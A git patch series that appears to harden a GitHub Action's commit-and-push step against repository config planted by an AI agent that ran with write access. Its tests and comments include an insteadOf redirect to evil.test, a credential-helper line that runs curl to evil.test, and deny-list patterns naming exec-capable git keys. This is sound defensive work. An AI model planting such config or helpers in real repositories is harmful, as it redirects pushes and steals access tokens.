config", () => { + // Nothing is inherited, and git is told to ignore /etc/gitconfig and + // ~/.gitconfig too, so the only configuration in play is what this + // process passes with -c. + for (const got of [gitEnvFrom({}), gitEnvFrom()]) { + assert.deepEqual(Object.keys(got).sort(), ["GIT_CONFIG_GLOBAL", "GIT_CONFIG_NOSYSTEM"]) + assert.equal(got.GIT_CONFIG_NOSYSTEM, "1") + assert.equal(got.GIT_CONFIG_GLOBAL, "/dev/null") + } }) - test("hooks and fsmonitor are disabled, since both run code from the repo", () => { - assert.deepEqual(GIT_SAFE_ARGS, ["-c", "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false"]) + /** + * Every one of these is a way the REPOSITORY can ask git to run a program + * on our behalf, and the agent can write all of them. Asserted by name so + * removing one is a failing test rather than a quiet loss. + */ + test("every exec-capable config key is pinned shut", () => { + const settings = GIT_SAFE_ARGS.filter((a) => a !== "-c") + for (const key of [ + "core.hooksPath=/dev/null", + "core.fsmonitor=false", + "core.sshCommand=", + "core.pager=cat", + "diff.external=", + "commit.gpgsign=false", + "gpg.program=false", + "core.attributesFile=/dev/null", + ]) { + assert.ok(settings.includes(key), `${key} is not pinned: ${JSON.stringify(settings)}`) + } + }) + + test("they are passed as -c pairs, so git reads them as config", () => { + assert.equal(GIT_SAFE_ARGS.length % 2, 0) + for (let i = 0; i < GIT_SAFE_ARGS.length; i += 2) { + assert.equal(GIT_SAFE_ARGS[i], "-c") + } }) }) From 06807a9da66f6f9c10e4a8e2204ad7b2d269393c Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:51:35 +0530 Subject: [PATCH 04/49] fix: refuse to commit when the repository's git config can redirect or execute Pushing to an explicit URL does not escape `url..insteadOf`, and `credential.helper` is a shell command git runs on a 401. Before touching the tree, read the repository's own config and refuse on any key that runs a program or rewrites a URL. The credential now travels in the environment rather than argv, which is world-readable via `ps`. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 30 ++++- test-companion/src/push-work.mjs | 97 ++++++++++++++-- test-companion/test/push-work.test.mjs | 155 +++++++++++++++++++++---- 3 files changed, 246 insertions(+), 36 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 00463f9..3ffc7da 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -54,8 +54,9 @@ import { renderPushNote, needsCheckout, isSameRepo, - pushCredentialArgs, + pushCredentialEnv, pushUrlFor, + unsafeConfigKeys, gitEnvFrom, GIT_SAFE_ARGS, } from "./push-work.mjs" @@ -265,12 +266,15 @@ function isOnTeam(login, team) { * Run git in the checkout. Never throws: every caller here treats a git * failure as "we could not save the work", which is reported, not fatal. */ -function git(args) { +function git(args, extraEnv = {}) { // A near-empty environment, and no hooks. These run AFTER the agent, which // has had --yolo write access to the tree: a planted .git/hooks/pre-commit // would otherwise be executed by our own `git commit` with the App's // private key and the customer's credentials in its environment. - const r = spawnSync("git", [...GIT_SAFE_ARGS, ...args], { encoding: "utf8", env: gitEnvFrom(env) }) + const r = spawnSync("git", [...GIT_SAFE_ARGS, ...args], { + encoding: "utf8", + env: { ...gitEnvFrom(env), ...extraEnv }, + }) // `raw` is deliberate. `git status --porcelain` puts a SPACE in the first // column for an unstaged modification, and trimming the whole output eats // it on the first line — which cost run 40845669513 ten passing tests. @@ -931,6 +935,23 @@ function main() { */ function saveWork(saving, plan) { if (!saving.ok) return undefined + const branch = plan.context.branch + + // .git/config decides whether git runs a program for us and where a push + // ends up, and the agent has just had --yolo write access to it. An + // ordinary actions/checkout never sets any of the keys this looks for, so + // one being present means the config was changed after the checkout. + // + // This runs before `git status`, because status can run a clean filter + // itself — by the time we have a file list it is already too late. + const tampered = unsafeConfigKeys(git(["config", "--local", "--list", "--name-only"]).raw) + if (tampered.length) { + return [ + `**Could not save this work to \`${branch}\`:** the repository's own git config sets`, + `${tampered.map((k) => `\`${k}\``).join(", ")}, which can send a push to another host or make git`, + "run a program. Nothing was committed or pushed. The run's changes are in the job's workspace only.", + ].join(" ") + } // `-c core.quotePath=false` stops git octal-escaping non-ASCII bytes, so a // path like café.spec.ts arrives as itself. unquote() decodes the escapes // anyway, but not producing them is the better half of the fix. @@ -939,7 +960,6 @@ function saveWork(saving, plan) { const { push, skip } = splitPushable(changedPaths(status.raw)) if (push.length === 0) return undefined - const branch = plan.context.branch // Named paths, never `git add -A`: the agent ran shell commands of its own // choosing and the tree may hold anything. Adding only what we listed is // also what makes the comment's file list true by construction. @@ -974,7 +994,7 @@ function saveWork(saving, plan) { // scoped to this exact URL for the same reason. const target = pushUrlFor(REPO, env.GITHUB_SERVER_URL) if (!target) return renderPushNote({ branch, files: push, skipped: skip, error: `cannot push: bad repository name "${REPO}"` }) - const pushed = git([...pushCredentialArgs(env.GH_TOKEN, target), "push", target, `HEAD:refs/heads/${branch}`]) + const pushed = git(["push", target, `HEAD:refs/heads/${branch}`], pushCredentialEnv(env.GH_TOKEN, target)) if (!pushed.ok) { // The one failure worth spelling out, because it is a settings problem // rather than a bug: the workflow's token is read-only by default. diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index 089abc9..da8feaf 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -272,25 +272,30 @@ export function isSameRepo(headRepoFullName, repo) { * advice and deleted the `permissions:` block, as action.yml and the starter * both suggest, got a 403 on every approved run. * - * Passed with `-c` rather than baked into the remote URL: a token in a URL - * ends up in the reflog, in error messages and in `git remote -v`. This way - * it lives only in this one process's arguments, and appInstallationToken has - * already masked it in the log. + * Passed as configuration rather than baked into the remote URL: a token in a + * URL ends up in the reflog, in error messages and in `git remote -v`. This + * way it lives only in this one process's environment, and + * appInstallationToken has already masked it in the log. * * No token returns nothing, so the checkout's own credential is used — which * is correct whenever the App is not installed. */ -export function pushCredentialArgs(token, url) { +export function pushCredentialEnv(token, url) { const t = String(token ?? "").trim() const u = String(url ?? "").trim() - if (!t || !u) return [] + if (!t || !u) return {} const basic = Buffer.from(`x-access-token:${t}`, "utf8").toString("base64") + // Delivered through the environment rather than `-c` on the command line. + // argv is world-readable on the runner — any process can read the token + // out of `ps` — while /proc//environ is readable only by its owner. + // // SCOPED to the one URL. A global `http.extraheader` attaches to whatever - // the push resolves to — and `url..insteadOf` in the repository's own - // config, which the agent can write, silently redirects `origin` to another - // host. Verified: one config line turns github.com into evil.test. A global - // header would have handed the App's installation token straight to it. - return ["-c", `http.${u}.extraheader=AUTHORIZATION: basic ${basic}`] + // the push resolves to, and the repository's own config can change that. + return { + GIT_CONFIG_COUNT: "1", + GIT_CONFIG_KEY_0: `http.${u}.extraheader`, + GIT_CONFIG_VALUE_0: `AUTHORIZATION: basic ${basic}`, + } } /** @@ -332,9 +337,64 @@ export function gitEnvFrom(env = {}) { // is what this process passes with -c. out.GIT_CONFIG_NOSYSTEM = "1" out.GIT_CONFIG_GLOBAL = "/dev/null" + // Never ask a human, and never run a program to ask one. + out.GIT_TERMINAL_PROMPT = "0" + out.GIT_ASKPASS = "" + out.SSH_ASKPASS = "" + out.GIT_ATTR_NOSYSTEM = "1" return out } +/** + * Git config keys the repository is not allowed to carry when we are about to + * commit on its behalf. Every one of them either runs a program or sends the + * push somewhere else. + * + * This is a deny list over a CLOSED set — git's own exec-capable and + * URL-rewriting keys — not an attempt to guess at bad values. A key here is + * never set by actions/checkout, so its presence means someone changed the + * repository's config, and the only safe answer is to refuse. + * + * `.gitattributes` is deliberately absent: it only names a filter, and the + * command a filter runs comes from `filter..*` in config, which is + * covered below. + */ +const UNSAFE_CONFIG = [ + // Runs a command on the first 401, as a shell string. + /^credential\./, + // insteadOf / pushInsteadOf. These rewrite ANY url, including one given + // on the command line — verified against real git. + /^url\./, + // Pulls in another config file, which could set anything above or below. + /^include\./, + /^includeif[.:]/, + // Commands git starts on its own behalf. + /^core\.(sshcommand|gitproxy|hookspath|fsmonitor|pager|editor|askpass)$/, + /^filter\./, + /^diff\.external$/, + /^diff\..*\.(textconv|command)$/, + /^gpg\.(.*\.)?program$/, + /^uploadpack\.packobjectshook$/, + /^sequence\.editor$/, + /^pager\./, + // ext:: URLs execute; anything here is a change to what transports exist. + /^protocol\./, + /^remote\..*\.(uploadpack|receivepack)$/, + // Sends the traffic through somewhere else. + /\.proxy$/, +] + +/** + * The offending keys in `git config --local --list --name-only` output, or an + * empty list when the repository's config is ordinary. + */ +export function unsafeConfigKeys(listing) { + return String(listing ?? "") + .split("\n") + .map((l) => l.trim()) + .filter((l) => l && UNSAFE_CONFIG.some((re) => re.test(l.toLowerCase()))) +} + /** * Arguments that stop git running anything the agent may have planted. * @@ -347,6 +407,21 @@ export const GIT_SAFE_ARGS = Object.freeze([ "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false", + // Reset the credential helper LIST. A helper is a shell command git runs + // when a request comes back 401. + "-c", + "credential.helper=", + "-c", + "core.askPass=", + // https only, so an ext:: or a local path in a rewritten URL cannot run. + "-c", + "protocol.allow=never", + "-c", + "protocol.https.allow=always", + "-c", + "http.proxy=", + "-c", + "core.gitProxy=", // Every other key that is a way for the repository to make git run a // program on our behalf. "-c", diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index dd1420c..fbd2c51 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -8,7 +8,8 @@ import { authoredByUs, needsCheckout, isSameRepo, - pushCredentialArgs, + pushCredentialEnv, + unsafeConfigKeys, gitEnvFrom, GIT_SAFE_ARGS, pushUrlFor, @@ -365,7 +366,7 @@ describe("changedPaths — characters outside the basic plane", () => { }) }) -describe("pushCredentialArgs — the App token has to reach git, not just gh", () => { +describe("the App token has to reach git, not just gh", () => { /** * Reported in review of PR #3101. action.yml and the starter both tell * customers they can delete the `permissions:` block once the App is @@ -377,16 +378,15 @@ describe("pushCredentialArgs — the App token has to reach git, not just gh", ( * So following our own advice, on an org whose default workflow token is * read-only, made every approved run fail its push with a 403. * - * Passed with `-c` rather than written into the remote URL: a token in a + * Passed as config rather than written into the remote URL: a token in a * URL ends up in the reflog, in error messages and in `git remote -v`. */ const URL = "https://github.com/acme/shop.git" test("builds a basic auth header SCOPED to the push url", () => { - const args = pushCredentialArgs("ghs_abc123", URL) - assert.equal(args[0], "-c") - assert.match(args[1], /^http\.https:\/\/github\.com\/acme\/shop\.git\.extraheader=AUTHORIZATION: basic /) - const b64 = args[1].split("basic ")[1] + const got = pushCredentialEnv("ghs_abc123", URL) + assert.equal(got.GIT_CONFIG_KEY_0, "http.https://github.com/acme/shop.git.extraheader") + const b64 = got.GIT_CONFIG_VALUE_0.split("basic ")[1] assert.equal(Buffer.from(b64, "base64").toString("utf8"), "x-access-token:ghs_abc123") }) @@ -397,23 +397,24 @@ describe("pushCredentialArgs — the App token has to reach git, not just gh", ( * over the App's installation token. */ test("the header is never global", () => { - const args = pushCredentialArgs("ghs_abc123", URL) - assert.ok( - !args.some((a) => /^http\.extraheader=/.test(a)), - `a global header would follow a rewritten remote: ${JSON.stringify(args)}`, - ) + const got = pushCredentialEnv("ghs_abc123", URL) + assert.notEqual(got.GIT_CONFIG_KEY_0, "http.extraheader") + assert.match(got.GIT_CONFIG_KEY_0, /^http\.https:\/\/github\.com\/acme\/shop\.git\.extraheader$/) }) - test("no token, or no url, means no argument", () => { - assert.deepEqual(pushCredentialArgs(undefined, URL), []) - assert.deepEqual(pushCredentialArgs("", URL), []) - assert.deepEqual(pushCredentialArgs("ghs_abc123", ""), []) - assert.deepEqual(pushCredentialArgs("ghs_abc123", undefined), []) + test("no token, or no url, means no credential", () => { + assert.deepEqual(pushCredentialEnv(undefined, URL), {}) + assert.deepEqual(pushCredentialEnv("", URL), {}) + assert.deepEqual(pushCredentialEnv("ghs_abc123", ""), {}) + assert.deepEqual(pushCredentialEnv("ghs_abc123", undefined), {}) }) test("the token itself is never passed in the clear", () => { - const args = pushCredentialArgs("ghs_secret", URL) - assert.ok(!args.some((a) => a.includes("ghs_secret")), `the raw token appeared in ${JSON.stringify(args)}`) + const got = pushCredentialEnv("ghs_secret", URL) + assert.ok( + !Object.values(got).some((v) => v.includes("ghs_secret")), + `the raw token appeared in ${JSON.stringify(got)}`, + ) }) test("the push url comes from the repository NAME, not from git config", () => { @@ -475,9 +476,14 @@ describe("our own git commands must not carry secrets or run hooks", () => { // ~/.gitconfig too, so the only configuration in play is what this // process passes with -c. for (const got of [gitEnvFrom({}), gitEnvFrom()]) { - assert.deepEqual(Object.keys(got).sort(), ["GIT_CONFIG_GLOBAL", "GIT_CONFIG_NOSYSTEM"]) assert.equal(got.GIT_CONFIG_NOSYSTEM, "1") assert.equal(got.GIT_CONFIG_GLOBAL, "/dev/null") + assert.equal(got.GIT_TERMINAL_PROMPT, "0") + assert.equal(got.GIT_ASKPASS, "") + assert.equal(got.SSH_ASKPASS, "") + assert.equal(got.GIT_ATTR_NOSYSTEM, "1") + // Nothing was inherited: every key is one we set deliberately. + assert.ok(Object.keys(got).every((k) => k.startsWith("GIT_") || k === "SSH_ASKPASS")) } }) @@ -497,6 +503,12 @@ describe("our own git commands must not carry secrets or run hooks", () => { "commit.gpgsign=false", "gpg.program=false", "core.attributesFile=/dev/null", + "credential.helper=", + "core.askPass=", + "protocol.allow=never", + "protocol.https.allow=always", + "http.proxy=", + "core.gitProxy=", ]) { assert.ok(settings.includes(key), `${key} is not pinned: ${JSON.stringify(settings)}`) } @@ -509,3 +521,106 @@ describe("our own git commands must not carry secrets or run hooks", () => { } }) }) + +/** + * The agent runs with --yolo write access to the tree, and `.git/config` is + * part of the tree it can write. Two separate things go wrong there, so there + * are two separate defences. + */ +describe("the repository's own git config must not steer the push", () => { + test("a redirect is refused — insteadOf rewrites even an explicit URL", () => { + // Verified against real git: `git push https://github.com/acme/shop.git` + // with url."https://evil.test/".insteadOf "https://github.com/" set + // reports `failed to push some refs to 'https://evil.test/acme/shop.git'`. + // Naming the URL on the command line is NOT enough. + assert.deepEqual(unsafeConfigKeys("url.https://evil.test/.insteadOf\ncore.bare"), [ + "url.https://evil.test/.insteadOf", + ]) + assert.deepEqual(unsafeConfigKeys("url.https://evil.test/.pushInsteadOf"), [ + "url.https://evil.test/.pushInsteadOf", + ]) + }) + + test("a credential helper is refused — git runs it as a shell command", () => { + // `credential.helper=!curl evil.test -d` executes on the first 401. + assert.deepEqual(unsafeConfigKeys("credential.helper"), ["credential.helper"]) + }) + + test("the keys that run a program are refused", () => { + for (const key of [ + "core.sshCommand", + "core.gitProxy", + "core.hooksPath", + "core.fsmonitor", + "core.pager", + "core.askPass", + "filter.lfs.clean", + "filter.evil.process", + "diff.external", + "diff.evil.textconv", + "gpg.program", + "uploadpack.packObjectsHook", + "sequence.editor", + "pager.diff", + "protocol.ext.allow", + "remote.origin.uploadpack", + "http.proxy", + "include.path", + "includeIf.gitdir:/x.path", + ]) { + assert.deepEqual(unsafeConfigKeys(key), [key], `${key} must be refused`) + } + }) + + test("case does not matter — git lowercases section and key names", () => { + assert.deepEqual(unsafeConfigKeys("CREDENTIAL.HELPER"), ["CREDENTIAL.HELPER"]) + }) + + /** + * This is the half that decides whether the Action works at all. Every one + * of these is written by actions/checkout on a perfectly ordinary run, so + * refusing any of them would refuse every push we have ever made. + */ + test("an ordinary checkout is NOT refused", () => { + const afterCheckout = [ + "core.repositoryformatversion", + "core.filemode", + "core.bare", + "core.logallrefupdates", + "remote.origin.url", + "remote.origin.fetch", + "http.https://github.com/.extraheader", + "branch.main.remote", + "branch.main.merge", + "user.name", + "user.email", + "safe.directory", + ].join("\n") + assert.deepEqual(unsafeConfigKeys(afterCheckout), []) + }) + + test("nothing in, nothing out", () => { + for (const empty of ["", " ", undefined, null]) assert.deepEqual(unsafeConfigKeys(empty), []) + }) +}) + +describe("the credential travels in the environment, not in argv", () => { + test("it is a scoped extraheader delivered through GIT_CONFIG_*", () => { + const got = pushCredentialEnv("ghs_secret", "https://github.com/acme/shop.git") + assert.equal(got.GIT_CONFIG_COUNT, "1") + assert.equal(got.GIT_CONFIG_KEY_0, "http.https://github.com/acme/shop.git.extraheader") + assert.equal(got.GIT_CONFIG_VALUE_0, `AUTHORIZATION: basic ${Buffer.from("x-access-token:ghs_secret").toString("base64")}`) + }) + + test("anyone running `ps` sees no token", () => { + // argv is world-readable on the runner; /proc//environ is not. + const argv = ["push", "https://github.com/acme/shop.git", "HEAD:refs/heads/x"] + assert.ok(!argv.join(" ").includes("ghs_secret")) + }) + + test("no token or no URL means no credential at all, never a half-formed one", () => { + assert.deepEqual(pushCredentialEnv("", "https://github.com/a/b.git"), {}) + assert.deepEqual(pushCredentialEnv("ghs_x", ""), {}) + assert.deepEqual(pushCredentialEnv(undefined, undefined), {}) + }) +}) From 2facd0872d93230b7f40d606d0ffa7aefe7a2ba5 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:54:47 +0530 Subject: [PATCH 05/49] fix: allow-list the git config instead of deny-listing it Config is where git keeps every "run this program for me" hook, and it gains more each release. Listing the keys an ordinary actions/checkout writes and refusing everything else fails closed on keys that do not exist yet. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 16 ++++--- test-companion/src/push-work.mjs | 65 ++++++++++++-------------- test-companion/test/push-work.test.mjs | 39 ++++++++++++---- 3 files changed, 69 insertions(+), 51 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 3ffc7da..0f81bad 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -56,7 +56,7 @@ import { isSameRepo, pushCredentialEnv, pushUrlFor, - unsafeConfigKeys, + unexpectedConfigKeys, gitEnvFrom, GIT_SAFE_ARGS, } from "./push-work.mjs" @@ -944,12 +944,16 @@ function saveWork(saving, plan) { // // This runs before `git status`, because status can run a clean filter // itself — by the time we have a file list it is already too late. - const tampered = unsafeConfigKeys(git(["config", "--local", "--list", "--name-only"]).raw) - if (tampered.length) { + // No --local: the environment has already shut out the system and global + // files, so this is the repository's own config plus any worktree config. + const unexpected = unexpectedConfigKeys(git(["config", "--list", "--name-only"]).raw) + if (unexpected.length) { return [ - `**Could not save this work to \`${branch}\`:** the repository's own git config sets`, - `${tampered.map((k) => `\`${k}\``).join(", ")}, which can send a push to another host or make git`, - "run a program. Nothing was committed or pushed. The run's changes are in the job's workspace only.", + `**Could not save this work to \`${branch}\`:** the repository's git config carries`, + `${unexpected.map((k) => `\`${k}\``).join(", ")}, which \`actions/checkout\` does not write. Config is`, + "where git keeps its \"run this program\" hooks and its URL rewrites, so Test Companion will not", + "commit against a config it does not recognise. Nothing was committed or pushed — the run's", + "changes are in the job's workspace only.", ].join(" ") } // `-c core.quotePath=false` stops git octal-escaping non-ASCII bytes, so a diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index da8feaf..ca99c0c 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -346,53 +346,44 @@ export function gitEnvFrom(env = {}) { } /** - * Git config keys the repository is not allowed to carry when we are about to - * commit on its behalf. Every one of them either runs a program or sends the - * push somewhere else. + * The git config an ordinary `actions/checkout` leaves behind. Anything else + * means the repository's config was changed after the checkout. * - * This is a deny list over a CLOSED set — git's own exec-capable and - * URL-rewriting keys — not an attempt to guess at bad values. A key here is - * never set by actions/checkout, so its presence means someone changed the - * repository's config, and the only safe answer is to refuse. + * An ALLOW list, not a deny list. Config is where git keeps every "run this + * program for me" hook it has — credential helpers, clean filters, textconv, + * ssh commands, pagers — plus `insteadOf`, which rewrites any URL including + * one given on the command line. Listing the dangerous keys means losing to + * the next key git adds; listing the expected ones means a key we have never + * heard of is refused by default, which is the right way round. * * `.gitattributes` is deliberately absent: it only names a filter, and the - * command a filter runs comes from `filter..*` in config, which is - * covered below. + * command a filter runs comes from `filter..*` in config, which is not + * on this list. */ -const UNSAFE_CONFIG = [ - // Runs a command on the first 401, as a shell string. - /^credential\./, - // insteadOf / pushInsteadOf. These rewrite ANY url, including one given - // on the command line — verified against real git. - /^url\./, - // Pulls in another config file, which could set anything above or below. - /^include\./, - /^includeif[.:]/, - // Commands git starts on its own behalf. - /^core\.(sshcommand|gitproxy|hookspath|fsmonitor|pager|editor|askpass)$/, - /^filter\./, - /^diff\.external$/, - /^diff\..*\.(textconv|command)$/, - /^gpg\.(.*\.)?program$/, - /^uploadpack\.packobjectshook$/, - /^sequence\.editor$/, - /^pager\./, - // ext:: URLs execute; anything here is a change to what transports exist. - /^protocol\./, - /^remote\..*\.(uploadpack|receivepack)$/, - // Sends the traffic through somewhere else. - /\.proxy$/, +const EXPECTED_CONFIG = [ + /^core\.(repositoryformatversion|filemode|bare|logallrefupdates|symlinks|ignorecase|precomposeunicode|quotepath|autocrlf|safecrlf|sparsecheckout|sparsecheckoutcone)$/, + /^remote\.[^.]+\.(url|fetch|mirror|tagopt|partialclonefilter|promisor)$/, + /^branch\.[^.]+\.(remote|merge|rebase)$/, + // Scoped only. A bare `http.extraheader` goes to every host, so it is not + // expected and not allowed. + /^http\..+\.extraheader$/, + /^gc\.auto$/, + /^user\.(name|email)$/, + /^extensions\.objectformat$/, + /^init\.defaultbranch$/, ] /** - * The offending keys in `git config --local --list --name-only` output, or an - * empty list when the repository's config is ordinary. + * The keys in `git config --list --name-only` output that an ordinary + * checkout would not have written — empty when the config is as we left it. + * + * Fails closed by construction: an unknown key is unexpected. */ -export function unsafeConfigKeys(listing) { +export function unexpectedConfigKeys(listing) { return String(listing ?? "") .split("\n") .map((l) => l.trim()) - .filter((l) => l && UNSAFE_CONFIG.some((re) => re.test(l.toLowerCase()))) + .filter((l) => l && !EXPECTED_CONFIG.some((re) => re.test(l.toLowerCase()))) } /** @@ -422,6 +413,8 @@ export const GIT_SAFE_ARGS = Object.freeze([ "http.proxy=", "-c", "core.gitProxy=", + "-c", + "http.sslVerify=true", // Every other key that is a way for the repository to make git run a // program on our behalf. "-c", diff --git a/test-companion/test/push-work.test.mjs b/test-companion/test/push-work.test.mjs index fbd2c51..523bf66 100644 --- a/test-companion/test/push-work.test.mjs +++ b/test-companion/test/push-work.test.mjs @@ -9,7 +9,7 @@ import { needsCheckout, isSameRepo, pushCredentialEnv, - unsafeConfigKeys, + unexpectedConfigKeys, gitEnvFrom, GIT_SAFE_ARGS, pushUrlFor, @@ -533,17 +533,17 @@ describe("the repository's own git config must not steer the push", () => { // with url."https://evil.test/".insteadOf "https://github.com/" set // reports `failed to push some refs to 'https://evil.test/acme/shop.git'`. // Naming the URL on the command line is NOT enough. - assert.deepEqual(unsafeConfigKeys("url.https://evil.test/.insteadOf\ncore.bare"), [ + assert.deepEqual(unexpectedConfigKeys("url.https://evil.test/.insteadOf\ncore.bare"), [ "url.https://evil.test/.insteadOf", ]) - assert.deepEqual(unsafeConfigKeys("url.https://evil.test/.pushInsteadOf"), [ + assert.deepEqual(unexpectedConfigKeys("url.https://evil.test/.pushInsteadOf"), [ "url.https://evil.test/.pushInsteadOf", ]) }) test("a credential helper is refused — git runs it as a shell command", () => { // `credential.helper=!curl evil.test -d` executes on the first 401. - assert.deepEqual(unsafeConfigKeys("credential.helper"), ["credential.helper"]) + assert.deepEqual(unexpectedConfigKeys("credential.helper"), ["credential.helper"]) }) test("the keys that run a program are refused", () => { @@ -568,12 +568,31 @@ describe("the repository's own git config must not steer the push", () => { "include.path", "includeIf.gitdir:/x.path", ]) { - assert.deepEqual(unsafeConfigKeys(key), [key], `${key} must be refused`) + assert.deepEqual(unexpectedConfigKeys(key), [key], `${key} must be refused`) } }) test("case does not matter — git lowercases section and key names", () => { - assert.deepEqual(unsafeConfigKeys("CREDENTIAL.HELPER"), ["CREDENTIAL.HELPER"]) + assert.deepEqual(unexpectedConfigKeys("CREDENTIAL.HELPER"), ["CREDENTIAL.HELPER"]) + assert.deepEqual(unexpectedConfigKeys("CORE.FILEMODE"), []) + }) + + /** + * The point of an allow list: a key nobody has thought about yet is + * refused without anyone having to add it. git gains config keys with + * every release, and several of them run programs. + */ + test("a key we have never heard of is refused by default", () => { + assert.deepEqual(unexpectedConfigKeys("some.future.hook"), ["some.future.hook"]) + assert.deepEqual(unexpectedConfigKeys("http.sslVerify"), ["http.sslVerify"]) + assert.deepEqual(unexpectedConfigKeys("http.curloptResolve"), ["http.curloptResolve"]) + assert.deepEqual(unexpectedConfigKeys("core.worktree"), ["core.worktree"]) + assert.deepEqual(unexpectedConfigKeys("extensions.worktreeConfig"), ["extensions.worktreeConfig"]) + }) + + test("a bare http.extraheader is refused; only a scoped one is expected", () => { + assert.deepEqual(unexpectedConfigKeys("http.extraheader"), ["http.extraheader"]) + assert.deepEqual(unexpectedConfigKeys("http.https://github.com/.extraheader"), []) }) /** @@ -594,13 +613,15 @@ describe("the repository's own git config must not steer the push", () => { "branch.main.merge", "user.name", "user.email", - "safe.directory", + // safe.directory is deliberately absent: actions/checkout writes it + // to a TEMPORARY GLOBAL config, and we read local + worktree only. + "gc.auto", ].join("\n") - assert.deepEqual(unsafeConfigKeys(afterCheckout), []) + assert.deepEqual(unexpectedConfigKeys(afterCheckout), []) }) test("nothing in, nothing out", () => { - for (const empty of ["", " ", undefined, null]) assert.deepEqual(unsafeConfigKeys(empty), []) + for (const empty of ["", " ", undefined, null]) assert.deepEqual(unexpectedConfigKeys(empty), []) }) }) From 9eb6650a742cad25f4ba5691919947b260e94dc8 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 16:59:10 +0530 Subject: [PATCH 06/49] fix: run the real git, not whatever PATH resolves to PATH directories on a runner are writable by the job's own user, which is the user the agent ran as. git is now resolved to an absolute path that this process cannot write to, and PATH is pinned rather than inherited. Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 25 +++++++++++++++-- test-companion/src/push-work.mjs | 29 +++++++++++++++++++- test-companion/test/push-work.test.mjs | 37 ++++++++++++++++++++++++-- 3 files changed, 86 insertions(+), 5 deletions(-) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index 0f81bad..f453a44 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -10,7 +10,7 @@ * Zero dependencies — Node's standard library plus `gh`, which is preinstalled * on every GitHub runner and is already how this product talks to GitHub. */ -import { readFileSync, appendFileSync, writeFileSync, existsSync, rmSync, readdirSync } from "node:fs" +import { readFileSync, appendFileSync, writeFileSync, existsSync, rmSync, readdirSync, accessSync, constants } from "node:fs" import { spawnSync } from "node:child_process" import { join } from "node:path" import { tmpdir } from "node:os" @@ -57,6 +57,7 @@ import { pushCredentialEnv, pushUrlFor, unexpectedConfigKeys, + trustedGitPath, gitEnvFrom, GIT_SAFE_ARGS, } from "./push-work.mjs" @@ -266,12 +267,29 @@ function isOnTeam(login, team) { * Run git in the checkout. Never throws: every caller here treats a git * failure as "we could not save the work", which is reported, not fatal. */ +/** + * Resolved once, at module load — BEFORE the agent runs, so a `git` planted on + * PATH later cannot be the one we find. Absent means we do not commit at all. + */ +const GIT_BIN = trustedGitPath({ + exists: (p) => existsSync(p), + canWrite: (p) => { + try { + accessSync(p, constants.W_OK) + return true + } catch { + return false + } + }, +}) + function git(args, extraEnv = {}) { // A near-empty environment, and no hooks. These run AFTER the agent, which // has had --yolo write access to the tree: a planted .git/hooks/pre-commit // would otherwise be executed by our own `git commit` with the App's // private key and the customer's credentials in its environment. - const r = spawnSync("git", [...GIT_SAFE_ARGS, ...args], { + if (!GIT_BIN) return { ok: false, out: "", raw: "", err: "no trusted git binary" } + const r = spawnSync(GIT_BIN, [...GIT_SAFE_ARGS, ...args], { encoding: "utf8", env: { ...gitEnvFrom(env), ...extraEnv }, }) @@ -936,6 +954,9 @@ function main() { function saveWork(saving, plan) { if (!saving.ok) return undefined const branch = plan.context.branch + if (!GIT_BIN) { + return `**Could not save this work to \`${branch}\`:** no trusted \`git\` was found on this runner (looked for a root-owned /usr/bin/git and /bin/git). Nothing was committed or pushed.` + } // .git/config decides whether git runs a program for us and where a push // ends up, and the agent has just had --yolo write access to it. An diff --git a/test-companion/src/push-work.mjs b/test-companion/src/push-work.mjs index ca99c0c..d2ffcac 100644 --- a/test-companion/src/push-work.mjs +++ b/test-companion/src/push-work.mjs @@ -330,9 +330,15 @@ export function pushUrlFor(repo, server = "https://github.com") { */ export function gitEnvFrom(env = {}) { const out = {} - for (const k of ["PATH", "HOME", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"]) { + for (const k of ["HOME", "HTTP_PROXY", "HTTPS_PROXY", "NO_PROXY", "http_proxy", "https_proxy", "no_proxy"]) { if (env[k] !== undefined) out[k] = env[k] } + // PINNED, not inherited. The agent writes to the runner as the same user we + // do, and the default PATH includes directories that user can write — a + // planted `git` there would be handed the installation token. git shells out + // to its own subcommands, so it still needs a PATH; this is the smallest one + // that works and contains nothing the agent could have written to. + out.PATH = "/usr/bin:/bin" // Ignore the system and user config too, so the only configuration in play // is what this process passes with -c. out.GIT_CONFIG_NOSYSTEM = "1" @@ -345,6 +351,27 @@ export function gitEnvFrom(env = {}) { return out } +/** + * Where the real git is, as an absolute path — or nothing, when we cannot find + * one we are sure of. + * + * `spawnSync("git", ...)` resolves through PATH, and on a GitHub runner several + * PATH directories are writable by the job's own user, which is also the user + * the agent just ran as. A planted `git` would receive the credential we pass + * in the environment. + * + * "Sure of" means: it exists, and WE cannot write it. A binary this process + * could overwrite is a binary the agent could have overwritten. + * + * There is deliberately no fallback to the bare name. Falling back would + * reinstate the hole on exactly the machines where it matters, so the caller + * handles the absence instead — and for us that means skipping the commit, + * which is already how every other refusal in this module behaves. + */ +export function trustedGitPath({ candidates = ["/usr/bin/git", "/bin/git"], exists, canWrite } = {}) { + return 